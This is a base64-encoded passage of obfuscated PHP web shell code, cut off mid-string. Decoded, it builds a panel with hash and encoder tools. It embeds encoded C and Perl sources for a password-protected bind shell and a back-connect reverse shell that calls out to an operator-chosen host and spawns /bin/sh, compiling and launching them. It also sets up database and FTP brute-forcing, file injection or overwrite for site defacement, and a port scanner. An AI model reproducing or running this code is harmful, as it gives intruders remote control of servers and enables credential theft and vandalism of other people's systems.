ImVuY29kZXJzIikuejl2KCJkIikuIHo3dSh6NXQoejl5KCIyNTgiKSkuejljKHozbSgnaGFzaF90eXBlJywkaGFzaF9hbGdvcywnNScsMSkuejhiKHo5eSgiMjQ5IiksJzcnKS56OG0oejl5KCIyNTAiKSwnZG9jdW1lbnQuaGFzaGluZ19mb3JtLmhhc2hfaW5wdXQudmFsdWU9XCdcJzsnLCc3JykpKS4gejlkKHo1dCh6OXkoIjI1OSIpKS56OWMoejV3KCdoYXNoX2lucHV0JywnNicpLihAaXNzZXQoJGhhc2hfaW5wdXQpP0BodG1sc3BlY2lhbGNoYXJzKCRoYXNoX2lucHV0KTonJykuejVxKCkpKS4gejlsKCkuejEwcSgpLiB6NnMoKS4gejdmKCkuejdqKCcnLCc0NicpLiB6NnMoKS4gejltKCcyJykuejlrKCcnLCJlbmNvZGVyX2Zvcm0iKS56OXYoImQiKS56OXYoImFjdCIsImVuY29kZXJzIikuejl2KCJzdWJtaXRfZW5jb2RlIiwiMSIpLiB6N3UoejV0KHo5eSgiOTEiKSkuejljKHozbSgiZW5jb2RlX3NlbGVjdGVkIiwkZW5jb2RlX2Z1bmN0aW9ucywiNSIsMSwnJykuejhiKHo5eSgiMjQ5IiksJzcnKS56OG0oejl5KCIyNTAiKSwnZG9jdW1lbnQuZW5jb2Rlcl9mb3JtLmVuY29kZXJfaW5wdXQudmFsdWU9XCdcJzsnLCc3JykpKS4gejlkKHo1dCh6OXkoIjI1OSIpKS56OWMoejV3KCdlbmNvZGVyX2lucHV0JywnNicpLihAaXNzZXQoJGVuY29kZXJfaW5wdXQpP0BodG1sc3BlY2lhbGNoYXJzKCRlbmNvZGVyX2lucHV0KTonJykuejVxKCkpKS4gKCRzdWJtaXRlZD96N3UoejV0KHo5eCgpKS56OWMoejhtKHo5eSgiMjYzIiksJ2RvY3VtZW50Lm91dHB1dF9mb3JtLmVuY29kZXJfb3V0cHV0LnZhbHVlPVwnXCc7JywnNycpLno4bSh6OXkoIjI2NCIpLCdkb2N1bWVudC5lbmNvZGVyX2Zvcm0uZW5jb2Rlcl9pbnB1dC52YWx1ZT1kb2N1bWVudC5vdXRwdXRfZm9ybS5lbmNvZGVyX291dHB1dC52YWx1ZTsnLCc3JykpKTonJykuIHo5bCgpLnoxMHEoKS4gejZzKCkuIHo3ZigpLiB6N3koKS4gejEwcSgpOyBpZihAaXNzZXQoJGhhc2hfaW5wdXQpJiYhQGVtcHR5KCRoYXNoX2lucHV0KSl7IGVjaG8gejNxKHo5eSgiMjYxIikpLno2cygpOyBlY2hvIHo5bSgnMicpOyBpZihAY291bnQoJGhhc2hlcyk+MCl7IGlmKEBpc3NldCgkaGFzaF90eXBlKSYmQGluX2FycmF5KCRoYXNoX3R5cGUsJGhhc2hlcykpeyBlY2hvIHo3dSh6NXQoJGhhc2hfdHlwZSkuejljKHo4ZygoJGhmbmM/QGhhc2goJGhhc2hfdHlwZSwkaGFzaF9pbnB1dCk6JGhhc2hfdHlwZSgkaGFzaF9pbnB1dCkpLCc3JykpKTsgfSBlbHNlIHsgZm9yZWFjaCgkaGFzaGVzIGFzICRrKXsgZWNobyB6N3UoejV0KCRrKS56OWMoejhnKCgkaGZuYz9AaGFzaCgkaywkaGFzaF9pbnB1dCk6JGsoJGhhc2hfaW5wdXQpKSwnNycpKSk7IH0gfSB9IGVjaG8gejEwcSgpLno2cygpOyB9IGlmKCRzdWJtaXRlZCl7ICRlbmNvZGVyX291dHB1dD0kZW5jb2RlX3NlbGVjdGVkKCRlbmNvZGVyX2lucHV0KTsgZWNobyB6M3Eoejl5KCIyNjIiKSkuejZzKCkuejltKCcyJykuejlrKCcnLCJvdXRwdXRfZm9ybSIpLno5ZCh6NmwoejV3KCdlbmNvZGVyX291dHB1dCcsJzEnKS5AaHRtbHNwZWNpYWxjaGFycygkZW5jb2Rlcl9vdXRwdXQpLno1cSgpKSkuejlsKCkuejEwcSgpLno2cygpOyB9IH0gaWYoJGFjdD09J3Rvb2xzJyl7ICRibmRwcnRfYz0iSTJsdVkyeDFaR1VnUEhOMFpHbHZMbWcrQ2lOcGJtTnNkV1JsSUR4MWJtbHpkR1F1YUQ0S0kybHVZMngxWkdVZ1BITjBaR3hwWWk1b1Bnb2phVzVqYkhWa1pTQThjM1J5YVc1bmN5NW9QZ29qYVc1amJIVmtaU0E4Ym1WMGFXNWxkQzlwYmk1b1Bnb2phVzVqYkhWa1pTQThjM2x6TDNOdlkydGxkQzVvUGdvamFXNWpiSFZrWlNBOGMybG5ibUZzTG1nK0Nnb2paR1ZtYVc1bElGQXdVbFFnSlhCdmNuUWxDaU5rWldacGJtVWdVRUZUVXlBaUpYQmhjM01sSWdvS2FXNTBDbTFoYVc0b2FXNTBJR0VzSUdOb1lYSWdLaXBpS1FwN0NtbHVkQ0JqTENCa0xDQmxJRDBnYzJsNlpXOW1LSE4wY25WamRDQnpiMk5yWVdSa2NsOXBiaWtzSUdZN0NtTm9ZWElnY0ZzeE1EQXdYVHNLYzNSeWRXTjBJSE52WTJ0aFpHUnlYMmx1SUd3c0lISTdDbk5wWjI1aGJDaFRTVWREU0V4RUxDQlRTVWRmU1VkT0tUc0tjMmxuYm1Gc0tGTkpSMGhWVUN3Z1UwbEhYMGxIVGlrN0NuTnBaMjVoYkNoVFNVZFVSVkpOTENCVFNVZGZTVWRPS1RzS2MybG5ibUZzS0ZOSlIwbE9WQ3dnVTBsSFgwbEhUaWs3Q21sbUlDaG1iM0pyS0NrcENtVjRhWFFvTUNrN0Ntd3VjMmx1WDJaaGJXbHNlU0E5SUVGR1gwbE9SVlE3Q213dWMybHVYM0J2Y25RZ1BTQm9kRzl1Y3loUU1GSlVLVHNLYkM1emFXNWZZV1JrY2k1elgyRmtaSElnUFNCSlRrRkVSRkpmUVU1Wk93cGllbVZ5YnlnbUtHd3VjMmx1WDNwbGNtOHBMQ0E0S1RzS1l5QTlJSE52WTJ0bGRDaEJSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnTUNrN0NtSnBibVFvWXl3b2MzUnlkV04wSUhOdlkydGhaR1J5SUNvcElDWnNMQ0J6YVhwbGIyWW9jM1J5ZFdOMElITnZZMnRoWkdSeUtTazdDbXhwYzNSbGJpaGpMQ0F6S1RzS2QyaHBiR1VnS0Noa0lEMGdZV05qWlhCMEtHTXNJQ2h6ZEhKMVkzUWdjMjlqYTJGa1pISWdLaWtnSm5Jc0lDWmxLU2twQ25zS2FXWWdLQ0ZtYjNKcktDa3BDbnNLY21WamRpaGtMQ0J3TENBeE1EQXdMQ0F3S1RzS2FXWWdLR05vY0dGemN5aFFRVk5UTEhBcEtRcDdDbU5zYjNObEtHUXBPd3BsZUdsMEtERXBPd3A5Q21Oc2IzTmxLREFwT3dwamJHOXpaU2d4S1RzS1kyeHZjMlVvTWlrN0NtUjFjRElvWkN3Z01DazdDbVIxY0RJb1pDd2dNU2s3Q21SMWNESW9aQ3dnTWlrN0NuTmxkR1Z1ZGlnaVVFRlVTQ0lzSUNJdmMySnBiam92WW1sdU9pOTFjM0l2YzJKcGJqb3ZkWE55TDJKcGJqb3ZkWE55TDJ4dlkyRnNMMkpwYmk4NkwzVnpjaTlzYjJOaGJDOXpZbWx1T2k0aUxDQXhLVHNLZFc1elpYUmxibllvSWtoSlUxUlRRVlpGSWlrN0NuVnVjMlYwWlc1MktDSklTVk5VUmtsTVJTSXBPd3BsZUdWamJDZ2lMMkpwYmk5emFDSXNJQ0p6YUNJc0lDaGphR0Z5SUNvcElEQXBPd3BqYkc5elpTaGtLVHNLWlhocGRDZ3dLVHNLZlFwOUNuSmxkSFZ5YmlBd093cDlDZ3BwYm5RZ1kyaHdZWE56S0dOb1lYSWdLbUpoYzJVc0lHTm9ZWElnS21WdWRHVnlaV1FwSUhzS2FXNTBJR2s3Q21admNpaHBQVEE3YVR4emRISnNaVzRvWlc1MFpYSmxaQ2s3YVNzcktTQUtld3BwWmlobGJuUmxjbVZrVzJsZElEMDlJQ2RjYmljcENtVnVkR1Z5WldSYmFWMGdQU0FuWERBbk95QUthV1lvWlc1MFpYSmxaRnRwWFNBOVBTQW5YSEluS1FwbGJuUmxjbVZrVzJsZElEMGdKMXd3SnpzS2ZRcHBaaUFvSVhOMGNtTnRjQ2hpWVhObExHVnVkR1Z5WldRcEtRcHlaWFIxY200Z01Ec0tmUW89IjsgJGJuZHBydF9wbD0iSXlFdmRYTnlMMkpwYmk5d1pYSnNDaVJUU0VWTVREMGlMMkpwYmk5emFDSTdDaVJNU1ZOVVJVNWZVRTlTVkQwbGNHOXlkQ1U3Q25WelpTQlRiMk5yWlhRN0NpUndjbTkwYjJOdmJEMW5aWFJ3Y205MGIySjVibUZ0WlNnbmRHTndKeWs3Q25OdlkydGxkQ2hUTENaUVJsOUpUa1ZVTENaVFQwTkxYMU5VVWtWQlRTd2tjSEp2ZEc5amIyd3BJSHg4SUdScFpTQWlRMkZ1ZENCamNtVmhkR1VnYzI5amEyVjBYRzRpT3dwelpYUnpiMk5yYjNCMEtGTXNVMDlNWDFOUFEwdEZWQ3hUVDE5U1JWVlRSVUZFUkZJc01TazdDbUpwYm1Rb1V5eHpiMk5yWVdSa2NsOXBiaWdrVEVsVFZFVk9YMUJQVWxRc1NVNUJSRVJTWDBGT1dTa3BJSHg4SUdScFpTQWlRMkZ1ZENCdmNHVnVJSEJ2Y25SY2JpSTdDbXhwYzNSbGJpaFRMRE1wSUh4OElHUnBaU0FpUTJGdWRDQnNhWE4wWlc0Z2NHOXlkRnh1SWpzS2QyaHBiR1VvTVNrS2V3cGhZMk5sY0hRb1EwOU9UaXhUS1RzS2FXWW9JU2drY0dsa1BXWnZjbXNwS1FwN0NtUnBaU0FpUTJGdWJtOTBJR1p2Y21zaUlHbG1JQ2doWkdWbWFXNWxaQ0FrY0dsa0tUc0tiM0JsYmlCVFZFUkpUaXdpUENaRFQwNU9JanNLYjNCbGJpQlRWRVJQVlZRc0lqNG1RMDlPVGlJN0NtOXdaVzRnVTFSRVJWSlNMQ0krSmtOUFRrNGlPd3BsZUdWaklDUlRTRVZNVENCOGZDQmthV1VnY0hKcGJuUWdRMDlPVGlBaVEyRnVkQ0JsZUdWamRYUmxJQ1JUU0VWTVRGeHVJanNLWTJ4dmMyVWdRMDlPVGpzS1pYaHBkQ0F3T3dwOUNuMEtDZz09IjsgJGJja2Nvbl9wbD0iSXlFdmRYTnlMMkpwYmk5d1pYSnNEUXAxYzJVZ1UyOWphMlYwT3cwS0pHTnRaRDBnSW14NWJuZ2lPdzBLSkhONWMzUmxiVDBnSjJWamFHOGdJbUIxYm1GdFpTQXRZV0FpTzJWamFHOGdJbUJwWkdBaU95OWlhVzR2YzJnbk93MEtKREE5SkdOdFpEc05DaVIwWVhKblpYUTlKRUZTUjFaYk1GMDdEUW9rY0c5eWREMGtRVkpIVmxzeFhUc05DaVJwWVdSa2NqMXBibVYwWDJGMGIyNG9KSFJoY21kbGRDa2dmSHdnWkdsbEtDSkZjbkp2Y2pvZ0pDRmNiaUlwT3cwS0pIQmhaR1J5UFhOdlkydGhaR1J5WDJsdUtDUndiM0owTENBa2FXRmtaSElwSUh4OElHUnBaU2dpUlhKeWIzSTZJQ1FoWEc0aUtUc05DaVJ3Y205MGJ6MW5aWFJ3Y205MGIySjVibUZ0WlNnbmRHTndKeWs3RFFwemIyTnJaWFFvVTA5RFMwVlVMQ0JRUmw5SlRrVlVMQ0JUVDBOTFgxTlVVa1ZCVFN3Z0pIQnliM1J2S1NCOGZDQmthV1VvSWtWeWNtOXlPaUFrSVZ4dUlpazdEUXBqYjI1dVpXTjBLRk5QUTB0RlZDd2dKSEJoWkdSeUtTQjhmQ0JrYVdVb0lrVnljbTl5T2lBa0lWeHVJaWs3RFFwdmNHVnVLRk5VUkVsT0xDQWlQaVpUVDBOTFJWUWlLVHNOQ205d1pXNG9VMVJFVDFWVUxDQWlQaVpUVDBOTFJWUWlLVHNOQ205d1pXNG9VMVJFUlZKU0xDQWlQaVpUVDBOTFJWUWlLVHNOQ25ONWMzUmxiU2drYzNsemRHVnRLVHNOQ21Oc2IzTmxLRk5VUkVsT0tUc05DbU5zYjNObEtGTlVSRTlWVkNrN0RRcGpiRzl6WlNoVFZFUkZVbElwT3c9PSI7ICRiY2tjb25fYz0iSTJsdVkyeDFaR1VnUEhOMFpHbHZMbWcrQ2lOcGJtTnNkV1JsSUR4emVYTXZjMjlqYTJWMExtZytDaU5wYm1Oc2RXUmxJRHh1WlhScGJtVjBMMmx1TG1nK0NtbHVkQ0J0WVdsdUtHbHVkQ0JoY21kakxDQmphR0Z5SUNwaGNtZDJXMTBwQ25zS0lHbHVkQ0JtWkRzS0lITjBjblZqZENCemIyTnJZV1JrY2w5cGJpQnphVzQ3Q2lCamFHRnlJSEp0YzFzeU1WMDlJbkp0SUMxbUlDSTdJQW9nWkdGbGJXOXVLREVzTUNrN0NpQnphVzR1YzJsdVgyWmhiV2xzZVNBOUlFRkdYMGxPUlZRN0NpQnphVzR1YzJsdVgzQnZjblFnUFNCb2RHOXVjeWhoZEc5cEtHRnlaM1piTWwwcEtUc0tJSE5wYmk1emFXNWZZV1JrY2k1elgyRmtaSElnUFNCcGJtVjBYMkZrWkhJb1lYSm5kbHN4WFNrN0lBb2dZbnBsY204b1lYSm5kbHN4WFN4emRISnNaVzRvWVhKbmRsc3hYU2tyTVN0emRISnNaVzRvWVhKbmRsc3lYU2twT3lBS0lHWmtJRDBnYzI5amEyVjBLRUZHWDBsT1JWUXNJRk5QUTB0ZlUxUlNSVUZOTENCSlVGQlNUMVJQWDFSRFVDa2dPeUFLSUdsbUlDZ29ZMjl1Ym1WamRDaG1aQ3dnS0hOMGNuVmpkQ0J6YjJOcllXUmtjaUFxS1NBbWMybHVMQ0J6YVhwbGIyWW9jM1J5ZFdOMElITnZZMnRoWkdSeUtTa3BQREFwSUhzS0lDQWdjR1Z5Y205eUtDSmJMVjBnWTI5dWJtVmpkQ2dwSWlrN0NpQWdJR1Y0YVhRb01DazdDaUI5Q2lCemRISmpZWFFvY20xekxDQmhjbWQyV3pCZEtUc0tJSE41YzNSbGJTaHliWE1wT3lBZ0NpQmtkWEF5S0daa0xDQXdLVHNLSUdSMWNESW9abVFzSURFcE93b2daSFZ3TWlobVpDd2dNaWs3Q2lCbGVHVmpiQ2dpTDJKcGJpOXphQ0lzSW5Ob0lpd2dUbFZNVENrN0NpQmpiRzl6WlNobVpDazdJQXA5Q2dvPSI7ICRibmRwb3J0c3Jjcz1hcnJheSgiYm5kcHJ0LnBsIj0+YXJyYXkoIlBFUkwiLCAicGVybCAlcGF0aCIpLCAiYm5kcHJ0LmMiPT5hcnJheSgiQyIsIiVwYXRoIikpOyAkYmNzcmNzPWFycmF5KCJiY2tjb24ucGwiPT5hcnJheSgiUEVSTCIsInBlcmwgJXBhdGggJWhvc3QgJXBvcnQiKSwgImJja2Nvbi5jIj0+YXJyYXkoIkMiLCIlcGF0aCAlaG9zdCAlcG9ydCIpKTsgaWYoIUBpc3NldCgkYnJ0ZXN0MSkpICRicnRlc3QxPTA7IGlmKCFAaXNzZXQoJGJydGVzdDIpKSAkYnJ0ZXN0Mj0wOyBpZighQGlzc2V0KCRicnRlc3QzKSkgJGJydGVzdDM9MDsgaWYoIUBpc3NldCgkYnJ0ZXN0NCkpICRicnRlc3Q0PTA7ICR1c2Vycz1hcnJheSgpOyBpZihAZW1wdHkoJGJydXRlX2VtYWlsKSkgJGJydXRlX2VtYWlsPXo3eignMicsImVtYWlsIik7IGlmKEBlbXB0eSgkZHZfZW1haWwpKSAkZHZfZW1haWw9ejd6KCcyJywiZW1haWwiKTsgaWYoQGVtcHR5KCRjcF9lbWFpbCkpICRjcF9lbWFpbD16N3ooJzInLCJlbWFpbCIpOyBpZihAaXNzZXQoJGJybSkmJigkYnJtPT0iMiJ8fCRicm09PSIzIikpeyAkdXNlcnM9ejhsKCk7IH0gJGJydXRlX3R5cGVbIjEiXT16OXkoIjM0MyIpOyBpZigkYnBhc3N3ZCl7ICRicnV0ZV90eXBlWyIyIl09ejl5KCIzNDQiKTsgJGJydXRlX3R5cGVbIjMiXT16OXkoIjM0NSIpOyB9ICRhdmFpbGFibGVfYXJyPWFycmF5KCk7IGlmKCRiZnRwKSAkYXZhaWxhYmxlX2FyclsiRlRQIl09IkZUUCI7IGlmKCRibXlzcWwpICRhdmFpbGFibGVfYXJyWyJNeVNRTCJdPSJNeVNRTCI7IGlmKCRibXNzcWwpICRhdmFpbGFibGVfYXJyWyJNU1NRTCJdPSJNU1NRTCI7IGlmKCRicG9zdGdyZXMpICRhdmFpbGFibGVfYXJyWyJQb3N0Z3JlU1FMIl09IlBvc3RncmVTUUwiOyBpZigkYm9yYWNsZSkgJGF2YWlsYWJsZV9hcnJbIk9yYWNsZSJdPSJPcmFjbGUiOyBpZighQGlzc2V0KCRicmgpKSAkYnJoPSRzYWRkcjsgaWYoIUBpc3NldCgkZHZmaWxlcykpICRkdmZpbGVzPSIqY29uZioucGhwOypkYioucGhwOyI7IGlmKCFAaXNzZXQoJGR2dXNlcikpICRkdnVzZXI9InVzZXIiOyBpZighQGlzc2V0KCRkdnBhc3MpKSAkZHZwYXNzPSJwYXNzIjsgaWYoIUBpc3NldCgkZHZob3N0KSkgJGR2aG9zdD0iaG9zdCI7IGlmKCFAaXNzZXQoJGR2YmFzZSkpICRkdmJhc2U9ImJhc2UiOyAkYXJyX3ZhcnM9YXJyYXkoInZhciI9PiJ2YXJpYWJsZSAoXCR2YXIpIiwiYXJyYXl2YXIxIj0+ImFycmF5dmFyICgndmFyJz0+KSIsImFycmF5dmFyMiI9PiJhcnJheXZhciAoWyd2YXInXT0+KSIsImNvbnN0Ij0+ImNvbnN0YW50IChkZWZpbmUpIik7ICRyZWNfYXJyPWFycmF5KCk7IGZvcigkaT0wOyRpPDEwOyRpKyspICRyZWNfYXJyWygkaSsxKV09KCRpKzEpLiIgRElSUyI7ICRyZWNfYXJyWyJubyJdPSJOTyI7ICRhcnJfZHZmaW5kPWFycmF5KCJkdmRpciI9Pno5eSgiMzAxIikpOyAkYXJyX21ldGhvZD1hcnJheSgiY3BkaXIiPT56OXkoIjMwNCIpKTsgaWYoKCR3d3dkaXI9ejNuKCkpIT09ZmFsc2UpeyAkYXJyX2R2ZmluZFsiZG9jcm9vdCJdPXo5eSgiMzI2Iik7ICRhcnJfbWV0aG9kWyJjcGRvY3Jvb3QiXT16OXkoIjMwNSIpOyB9IGlmKCRicGFzc3dkKXsgJGFycl9kdmZpbmRbInBhc3N3ZCJdPXo5eSgiMzI3Iik7ICRhcnJfbWV0aG9kWyJjcHBhc3N3ZCJdPXo5eSgiMzA2Iik7IH0gJGlual9tZXRob2Q9YXJyYXkoICJ0b3AiPT4iVG9wIG9mIHRoZSBmaWxlIiAsImVuZCI9PiJFbmQgb2YgdGhlIGZpbGUiICwicGhwMSI9PiJCZWZvcmUgZmlyc3QgJmx0Oz8iICwiaHRtbDEiPT4iQmVmb3JlICZsdDtodG1sJmd0OyIgLCJodG1sMiI9PiJCZWZvcmUgJmx0Oy9odG1sJmd0OyIgLCJib2R5MSI9PiJCZWZvcmUgJmx0O2JvZHkuKiZndDsiICwiYm9keTIiPT4iQmVmb3JlICZsdDsvYm9keSZndDsiICwicGhwMiI9PiJBZnRlciBsYXN0ID8mZ3Q7IiAsImJvZHkzIj0+IkFmdGVyICZsdDtib2R5LiomZ3Q7IiAsImJvZHk0Ij0+IkFmdGVyICZsdDsvYm9keSZndDsiICwiaHRtbDMiPT4iQWZ0ZXIgJmx0O2h0bWwmZ3Q7IiAsImh0bWw0Ij0+IkFmdGVyICZsdDsvaHRtbCZndDsiICwib3ZlcndyaXRlIj0+IkRlZmFjZSAoT3ZlcndyaXRlIGZpbGUpIiApOyBpZighQGlzc2V0KCRibmRfcG9ydCl8fCFAaXNfbnVtZXJpYygkYm5kX3BvcnQpKSAkYm5kX3BvcnQ9ejd6KCcyJywnYmluZF9wb3J0Jyk7IGlmKCFAaXNzZXQoJGJuZF9wYXNzKXx8QGVtcHR5KCRibmRfcGFzcykpICRibmRfcGFzcz16N3ooJzInLCdiaW5kX3Bhc3MnKTsgaWYoIUBpc3NldCgkYmNfaG9zdCl8fEBlbXB0eSgkYmNfaG9zdCkpICRiY19ob3N0PSR5YWRkcjsgaWYoIUBpc3NldCgkYmNfcG9ydCl8fCFAaXNfbnVtZXJpYygkYmNfcG9ydCkpICRiY19wb3J0PXo3eignMicsJ2JhY2tjb25fcG9ydCcpOyAkYmluZG1zZz0kYmNtc2c9IiI7IGlmKEBpc3NldCgkYmluZHN1Ym1pdCkmJiRiaW5kc3VibWl0KXsgJHY9JGJuZHBvcnRzcmNzWyRibmRfc3JjXTsgaWYoQGVtcHR5KCR2KSl7ICRiaW5kbXNnPXo5eSgiMjcyIik7IH1lbHNlaWYoQGZzb2Nrb3BlbigibG9jYWxob3N0IiwkYm5kX3BvcnQsJGVycm5vLCRlcnJzdHIsMC4xKSl7ICRiaW5kbXNnPXo5eSgiMjc1IiwkYm5kX3BvcnQpOyB9ZWxzZXsgJHc9QGV4cGxvZGUoIi4iLCRibmRfc3JjKTsgJGV4dD0kd1tAY291bnQoJHcpLTFdOyB1bnNldCgkd1tjb3VudCgkdyktMV0pOyAkc3JjcGF0aD0kdGVtcGRpci5Aam9pbigiLiIsJHcpLiIuIi5AbWQ1KEB0aW1lKCkpLiIuIi4kZXh0OyAkYmlucGF0aD0kdGVtcGRpci5Aam9pbigiLiIsJHcpLkBtZDUoQHRpbWUoKSk7IGlmKCRleHQ9PSJwbCIpeyAkYmlucGF0aD0kc3JjcGF0aDsgfSBAdW5saW5rKCRzcmNwYXRoKTsgJGZwPUBmb3Blbigkc3JjcGF0aCwiYWIrIik7IGlmKCEkZnApeyAkYmluZG1zZz16OXkoIjI3MSIpOyB9ZWxzZXsgJGRhdGE9QGJhc2U2NF9kZWNvZGUoJHtAc3RyX3JlcGxhY2UoJy4nLCdfJywkYm5kX3NyYyl9KTsgJGRhdGE9QHN0cl9yZXBsYWNlKCIlcGFzcyUiLCRibmRfcGFzcywkZGF0YSk7ICRkYXRhPUBzdHJfcmVwbGFjZSgiJXBvcnQlIiwkYm5kX3BvcnQsJGRhdGEpOyBAZndyaXRlKCRmcCwkZGF0YSxAc3RybGVuKCRkYXRhKSk7IEBmY2xvc2UoJGZwKTsgaWYoJGV4dD09ImMiKXsgJHJldGdjYz16OWUoImdjYyAtbyAiLiRiaW5wYXRoLiIgIi4kc3JjcGF0aCk7IEB1bmxpbmsoJHNyY3BhdGgpOyB9ICR2WzFdPUBzdHJfcmVwbGFjZSgiJXBhdGgiLCRiaW5wYXRoLCR2WzFdKTsgJHZbMV09QHN0cl9yZXBsYWNlKCIvLyIsIi8iLCR2WzFdKTsgJHJldGJpbmQ9ejllKCR2WzFdLiIgPiAvZGV2L251bGwgJiIpOyBAc2xlZXAoNSk7ICRzb2NrPUBmc29ja29wZW4oImxvY2FsaG9zdCIsJGJuZF9wb3J0LCRlcnJubywkZXJyc3RyLDUpOyBpZighJHNvY2speyAkYmluZG1zZz16OXkoIjI3MyIsJGJuZF9wb3J0KTsgfWVsc2V7ICRiaW5kbXNnPXo5eSgiMjc0IixhcnJheSgkc2FkZHIsJGJuZF9wb3J0KSk7IH0gfSB9IH0gaWYoQGlzc2V0KCRiY3N1Ym1pdCkmJiRiY3N1Ym1pdCl7ICR2PSRiY3NyY3NbJGJjX3NyY107IGlmKEBlbXB0eSgkdikpeyAkYmNtc2c9ejl5KCIyNzIiKTsgfWVsc2V7ICR3PUBleHBsb2RlKCIuIiwkYmNfc3JjKTsgJGV4dD0kd1tjb3VudCgkdyktMV07IHVuc2V0KCR3W2NvdW50KCR3KS0xXSk7ICRzcmNwYXRoPSR0ZW1wZGlyLmpvaW4oIi4iLCR3KS4iLiIuQG1kNShAdGltZSgpKS4iLiIuJGV4dDsgJGJpbnBhdGg9JHRlbXBkaXIuam9pbigiLiIsJHcpLkBtZDUoQHRpbWUoKSk7IGlmKCRleHQ9PSJwbCIpeyAkYmlucGF0aD0kc3JjcGF0aDsgfSBAdW5saW5rKCRzcmNwYXRoKTsgJGZwPUBmb3Blbigkc3JjcGF0aCwiYWIrIik7IGlmKCEkZnApeyAkYmNtc2c9ejl5KCIyNzEiKTsgfWVsc2V7ICRkYXRhPUBiYXNlNjRfZGVjb2RlKCR7c3RyX3JlcGxhY2UoJy4nLCdfJywkYmNfc3JjKX0pOyBAZndyaXRlKCRmcCwkZGF0YSxzdHJsZW4oJGRhdGEpKTsgZmNsb3NlKCRmcCk7IGlmKCRleHQ9PSJjIil7ICRyZXRnY2M9ejllKCJnY2MgLW8gIi4kYmlucGF0aC4iICIuJHNyY3BhdGgpOyBAdW5saW5rKCRzcmNwYXRoKTsgfSAkdlsxXT1Ac3RyX3JlcGxhY2UoIiVwYXRoIiwkYmlucGF0aCwkdlsxXSk7ICR2WzFdPUBzdHJfcmVwbGFjZSgiJWhvc3QiLCRiY19ob3N0LCR2WzFdKTsgJHZbMV09QHN0cl9yZXBsYWNlKCIlcG9ydCIsJGJjX3BvcnQsJHZbMV0pOyAkdlsxXT1Ac3RyX3JlcGxhY2UoIi8vIiwiLyIsJHZbMV0pOyAkcmV0YmluZD16OWUoJHZbMV0uIiA+IC9kZXYvbnVsbCAmIik7ICRiY21zZz16OXkoIjc2IixhcnJheSgkYmNfaG9zdCwkYmNfcG9ydCkpOyB9IH0gfSAkc2VsZWN0YT0kc2VsZWN0Yj1hcnJheSgpOyBmb3JlYWNoKCRibmRwb3J0c3JjcyBhcyAkaz0+JHYpICRzZWxlY3RhWyRrXT0kdlswXTsgZm9yZWFjaCgkYmNzcmNzIGFzICRrPT4kdikgJHNlbGVjdGJbJGtdPSR2WzBdOyBpZighJHdpbiYmKCRzaF9leGVjfHwkc2FmZV9leGVjKSl7IGVjaG8gejNxKGFycmF5KHo5eSgiMjY1IikuKCFAZW1wdHkoJGJpbmRtc2cpPyIgLSAiLkBzdHJ0b3VwcGVyKCRiaW5kbXNnKToiIiksejl5KCIyNjYiKS4oIUBlbXB0eSgkYmNtc2cpPyIgLSAiLkBzdHJ0b3VwcGVyKCRiY21zZyk6IiIpKSwnNDYnKTsgZWNobyB6OW0oMikuejdvKCkuejdqKCcnLCc0Jyk7IGVjaG8gejV4KGFycmF5KCJhY3QiPT4idG9vbHMiLCJkIiwiYmluZHN1Ym1pdCI9PiIxIiksejEwdyh6NWIoKS56N3UoejV0KHo5eSgiMjY3IikpLno5Yyh6NnUoImJuZF9wYXNzIiwkYm5kX3Bhc3MsJzQnKS4iOiIuejZ1KCJibmRfcG9ydCIsJGJuZF9wb3J0LCcxJykuIjoiLnozbSgiYm5kX3NyYyIsJHNlbGVjdGEsJzEnLDEpLno4Yih6OXkoIjI2OCIpLCc3JykpKS56NWIoKSwnMicpKTsgZWNobyB6N2YoKS56N2ooJycsJzQ2Jyk7IGVjaG8gejV4KGFycmF5KCJhY3QiPT4idG9vbHMiLCJkIiwiYmNzdWJtaXQiPT4iMSIpLHoxMHcoejViKCkuejd1KHo1dCh6OXkoIjQzNCIpKS56OWMoejZ1KCJiY19ob3N0IiwkYmNfaG9zdCwnNCcpLiI6Ii56NnUoImJjX3BvcnQiLCRiY19wb3J0LCcxJykuIjoiLnozbSgiYmNfc3JjIiwkc2VsZWN0YiwnMScsMSkuejhiKHo5eSgiNDM1IiksJzcnKSkpLno1YigpLCIyIikpOyBlY2hvIHo3ZigpLno3eSgpLnoxMHEoKTsgJGlpPTA7IGlmKEBpc19kaXIoJHRlbXBkaXIpKXsgaWYoJGRoPUBvcGVuZGlyKCR0ZW1wZGlyKSl7IHdoaWxlKCgkZmlsZT1AcmVhZGRpcigkZGgpKSE9PWZhbHNlKXsgaWYoQHByZWdfbWF0Y2goJy9eKGJuZHBydHxiY2tjb24pXC4/W2EtekEtWjAtOV17MzJ9LycsJGZpbGUpKXsgaWYoQGlzc2V0KCRjbGVhbikpeyBAdW5saW5rKCR0ZW1wZGlyLiRmaWxlKTsgfWVsc2V7ICRpaSsrOyB9IH0gfSBAY2xvc2VkaXIoJGRoKTsgfSB9IGlmKCRpaSE9MCkgZWNobyB6M3EoQHN0cnRvdXBwZXIoejl5KCIyNjkiLCRpaSkpLno1eChhcnJheSgiYWN0Ij0+InRvb2xzIiwiZCIsImNsZWFuIj0+IjEiKSx6OGIoejl5KCIyNzAiKSwnNycpKSk7IH0gJHBzY21zZz0nJzsgJHN0YXJ0c2Nhbj0wOyBpZihAaXNzZXQoJHBzY2FuKSYmJHBzY2FuJiYhQGVtcHR5KCRwc2NpcCkmJkBpc19udW1lcmljKCRwc2NwcykmJkBpc19udW1lcmljKCRwc2NwZSkpeyBpZigkcHNjcHM8MHx8JHBzY3BzPjY1NTM1fHwkcHNjcGU8MHx8JHBzY3BlPjY1NTM1KXsgJHBzY21zZz16OXkoIjI4MCIpOyB9IGVsc2UgeyAkc3RhcnRzY2FuPTE7IH0gfSBlY2hvIHozcShhcnJheSh6OXkoIjI4MSIpLHo5eSgiMjc3IikuKCRwc2Ntc2chPScnPyIgOiAiLiRwc2Ntc2c6JycpKSwiNDYiKTsgaWYoIUBpc3NldCgkcHNjaXApKSAkcHNjaXA9JHNhZGRyOyBpZighQGlzc2V0KCRwc2NwcykpICRwc2Nwcz0iMCI7IGlmKCFAaXNzZXQoJHBzY3BlKSkgJHBzY3BlPSI2NTUzNSI7IGVjaG8gejltKDIpLiB6N28oKS4gejdqKCcnLCc0JykuejZzKCkuIHo5bSgnMicpLiB6N2woKS56OXYoInNoZWxsaHVudCIsIjEiKS56OXYoImFjdCIsInRvb2xzIikuejl2KCJkIikuIHo3dSh6NXQoejl5KCIyODIiKSkuejljKHozbS